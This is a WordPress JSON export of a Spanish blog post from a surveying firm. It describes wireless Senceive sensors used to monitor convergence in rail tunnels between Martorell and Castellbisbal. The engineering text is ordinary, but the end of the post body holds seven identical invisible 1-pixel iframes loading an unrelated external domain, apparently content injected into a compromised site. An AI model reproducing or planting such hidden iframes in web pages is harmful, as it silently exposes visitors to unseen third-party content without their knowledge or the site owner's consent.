{"id":3334,"date":"2023-11-21T11:00:17","date_gmt":"2023-11-21T10:00:17","guid":{"rendered":"https:\/\/www.instop.biz\/blog\/?p=3334"},"modified":"2024-08-12T18:05:38","modified_gmt":"2024-08-12T17:05:38","slug":"convergencias-en-tunel-utilizando-sensores-inalambricos-senceive","status":"publish","type":"post","link":"https:\/\/www.instop.biz\/blog\/convergencias-en-tunel-utilizando-sensores-inalambricos-senceive\/","title":{"rendered":"Convergencias en t\u00fanel utilizando sensores inal\u00e1mbricos Senceive"},"content":{"rendered":"<p><iframe loading=\"lazy\" title=\"YouTube video player\" src=\"https:\/\/www.youtube.com\/embed\/hSOjfC8eGho\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><span style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" data-mce-type=\"bookmark\" class=\"mce_SELRES_start\">\ufeff<\/span><span style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" data-mce-type=\"bookmark\" class=\"mce_SELRES_start\">\ufeff<\/span><\/iframe><\/p>\n<h3>Puntos clave<\/h3>\n<div>\n<div class=\"flex flex-grow flex-col max-w-full gap-3 gizmo:gap-0\">\n<div class=\"min-h-[20px] text-message flex flex-col items-start gap-3 whitespace-pre-wrap break-words [.text-message+&amp;]:mt-5 overflow-x-auto\" data-message-author-role=\"assistant\" data-message-id=\"ca839449-9d2c-4266-af20-3f9c0c918346\">\n<div class=\"markdown prose w-full break-words dark:prose-invert light\">\n<p>El distribuidor regional de Senceive, Instop, supervis\u00f3 la instalaci\u00f3n del sistema de monitoreo, que constaba de:<\/p>\n<p><strong>Martorell:<\/strong> 87 sensores <a href=\"https:\/\/www.instop.es\/auscultacion\/sensores-sencive-ods.php\"><strong>ODS<\/strong><\/a>, 35 sensores de inclinaci\u00f3n <a href=\"https:\/\/www.instop.es\/auscultacion\/i\/tres-eixos.jpg\"><strong>triaxiales<\/strong><\/a> y 9 nodos VW de 4 canales para extens\u00f3metros.<\/p>\n<p><strong>Costablanca:<\/strong> 99 sensores <a href=\"https:\/\/www.instop.es\/auscultacion\/sensores-sencive-ods.php\"><strong>ODS<\/strong><\/a> y 96 sensores de inclinaci\u00f3n <a href=\"https:\/\/www.instop.es\/auscultacion\/i\/tres-eixos.jpg\"><strong>triaxiales<\/strong><\/a>.<\/p>\n<p><strong>Castelbisbal:<\/strong> 105 sensores <a href=\"https:\/\/www.instop.es\/auscultacion\/sensores-sencive-ods.php\"><strong>ODS<\/strong><\/a>.<img loading=\"lazy\" decoding=\"async\" class=\"\" src=\"https:\/\/www.instop.es\/600\/ods-2.png\" width=\"210\" height=\"210\" \/><\/p>\n<\/div>\n<\/div>\n<\/div>\n<h3><img decoding=\"async\" src=\"https:\/\/www.instop.es\/auscultacion\/i\/_IRL0329.jpg\" \/><\/h3>\n<\/div>\n<h3>El desaf\u00edo<\/h3>\n<div>\n<p>Como parte del ambicioso Corredor Mediterr\u00e1neo de Espa\u00f1a, se estaban rehabilitando varios t\u00faneles en desuso. El operador espa\u00f1ol de infraestructuras ferroviarias, ADIF, design\u00f3 al contratista principal Dragados para mejorar tres t\u00faneles, incluido el t\u00fanel ferroviario de 810 metros entre Martorell y Castellbisbal. La estructura de mamposter\u00eda hab\u00eda estado en desuso desde la d\u00e9cada de 1980 y requer\u00eda revestimiento con 4,500 metros c\u00fabicos de concreto proyectado, la construcci\u00f3n de electrificaci\u00f3n por l\u00ednea a\u00e9rea y la disminuci\u00f3n de la altura de la v\u00eda.<\/p>\n<p>Con el fin de salvaguardar la estructura y la fuerza laboral durante los trabajos de construcci\u00f3n, era necesario un programa de monitoreo confiable y preciso, pero un enfoque convencional utilizando m\u00e9todos de levantamiento \u00f3ptico no era una opci\u00f3n debido a la naturaleza del sitio:<\/p>\n<ul>\n<li>No hay energ\u00eda el\u00e9ctrica en el t\u00fanel, que se encuentra en una ubicaci\u00f3n remota.<\/li>\n<li>Actividad de construcci\u00f3n en curso y uso de maquinaria pesada.<\/li>\n<li>No era posible utilizar un sistema de estaci\u00f3n total automatizada para el monitoreo convencional debido a la falta de l\u00ednea de visi\u00f3n.<\/li>\n<\/ul>\n<\/div>\n<h3>Soluci\u00f3n<\/h3>\n<p>El equipo de construcci\u00f3n requer\u00eda un monitoreo continuo las 24 horas, los 7 d\u00edas de la semana del movimiento en tiempo real. Designaron a los expertos en levantamiento y monitoreo, Instop, para proporcionar una soluci\u00f3n de monitoreo remoto inal\u00e1mbrico Senceive.<\/p>\n<p>Esto consisti\u00f3 en una combinaci\u00f3n de sensores de inclinaci\u00f3n y sensores \u00f3pticos de desplazamiento (ODS) para detectar movimiento rotacional y convergencia.<\/p>\n<p>El m\u00e9todo de ODS fue novedoso en esta aplicaci\u00f3n y ofrece varias ventajas sobre las t\u00e9cnicas l\u00e1ser u \u00f3pticas.<\/p>\n<p>Los datos de los diversos sensores se transfer\u00edan desde el sitio a trav\u00e9s de una puerta de enlace GeoWAN ubicada fuera del t\u00fanel. Con la falta de electricidad disponible en la red principal, una ventaja sobre otras tecnolog\u00edas fue la capacidad de alimentar el sistema mediante paneles solares.<\/p>\n<p>F\u00e1cilmente instalado por no especialistas, lo suficientemente resistente como para durar muchos a\u00f1os sin mantenimiento y sin cables que interfieran con otras infraestructuras, el monitoreo remoto inal\u00e1mbrico de Senceive ha demostrado ser una soluci\u00f3n efectiva.<\/p>\n<h3>El resultado<\/h3>\n<p>Todos los interesados pudieron observar cambios en la secci\u00f3n transversal del t\u00fanel a partir de un flujo continuo de datos en tiempo real las 24 horas del d\u00eda, los 7 d\u00edas de la semana. La construcci\u00f3n del revestimiento de concreto proyectado y la disminuci\u00f3n de la v\u00eda pudieron continuar, por lo tanto, de manera segura y eficiente con la tranquilidad proporcionada.<\/p>\n<p>La soluci\u00f3n result\u00f3 ser altamente rentable para el cliente, ya que se proporcion\u00f3 en base a un contrato de alquiler de cuatro meses.<\/p>\n<p>Las instalaciones se realizaron en tiempo r\u00e9cord a una velocidad de 4 secciones por hora (3 nodos por secci\u00f3n) o 100 m por hora, un t\u00fanel completo en un d\u00eda de trabajo.<\/p>\n<p>Senceive gan\u00f3 el premio de Instrumentaci\u00f3n y Monitoreo en los Premios de Tunelizaci\u00f3n de Ingenier\u00eda Civil Nueva 2020 por el uso de nuestra tecnolog\u00eda de sensor \u00f3ptico de desplazamiento en este desafiante proyecto.<\/p>\n<h3><img decoding=\"async\" src=\"https:\/\/www.instop.es\/auscultacion\/i\/_IRL0335.jpg\" \/><\/h3>\n<div>\n<p>&nbsp;<\/p>\n<\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n<div><iframe style=\"position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/div.show\/public\"><\/iframe><\/div>\n","protected":false},"excerpt":{"rendered":"<p>\ufeff\ufeff Puntos clave El distribuidor regional de Senceive, Instop, supervis\u00f3 la instalaci\u00f3n del sistema de monitoreo, que constaba de: Martorell: [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3332,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[1091,9398],"tags":[9389,9475,9477,9476],"class_list":["post-3334","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-auscultacion","category-auscultacion-de-tuneles","tag-auscultacion-tunel","tag-auscultacion-tunel-ferroviario","tag-monitoring-tunel","tag-monitoring-tunel-ferroviario"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.instop.biz\/blog\/wp-json\/wp\/v2\/posts\/3334","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.instop.biz\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.instop.biz\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.instop.biz\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.instop.biz\/blog\/wp-json\/wp\/v2\/comments?post=3334"}],"version-history":[{"count":18,"href":"https:\/\/www.instop.biz\/blog\/wp-json\/wp\/v2\/posts\/3334\/revisions"}],"predecessor-version":[{"id":3359,"href":"https:\/\/www.instop.biz\/blog\/wp-json\/wp\/v2\/posts\/3334\/revisions\/3359"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.instop.biz\/blog\/wp-json\/wp\/v2\/media\/3332"}],"wp:attachment":[{"href":"https:\/\/www.instop.biz\/blog\/wp-json\/wp\/v2\/media?parent=3334"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.instop.biz\/blog\/wp-json\/wp\/v2\/categories?post=3334"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.instop.biz\/blog\/wp-json\/wp\/v2\/tags?post=3334"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}